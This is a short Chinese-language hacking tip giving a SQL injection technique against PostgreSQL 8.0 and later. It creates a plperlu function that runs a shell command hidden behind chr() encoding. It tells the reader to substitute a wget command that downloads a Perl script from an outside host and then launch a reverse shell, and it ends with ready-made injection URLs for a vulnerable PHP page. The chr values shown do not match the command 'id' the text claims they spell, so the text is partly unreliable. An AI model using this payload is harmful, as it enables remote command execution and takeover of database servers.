postgresql “初级”注入大法
CREATE FUNCTION id() RETURNS text AS $aaa$open(FD,chr(108).chr(105).chr(32).chr(124));return join(chr(0),<FD>);$aaa$ LANGUAGE plperlu;
select id();
id()为创建函数名,可以自定义随便写
chr(108).chr(105)是需要执行的命令id的asc编码
自己把需要执行的命令换成chr替换就行了,具体就是wget http://les.la/c.pl -O /tmp/c.pl
删除函数为drop function id(); 然后再执行此反弹shell的命令
此大法可对付一切8.0以上的版本(含8.0)
以下为实际注入时的表现形式
xxx.php?id=10;CREATE FUNCTION id() RETURNS text AS $aaa$open(FD,chr(108).chr(105).chr(32).chr(124));return join(chr(0),<FD>);$aaa$ LANGUAGE plperlu;–
xxx.php?id=10 and 1=2 union select null,null,null,id(),null,null,null,null–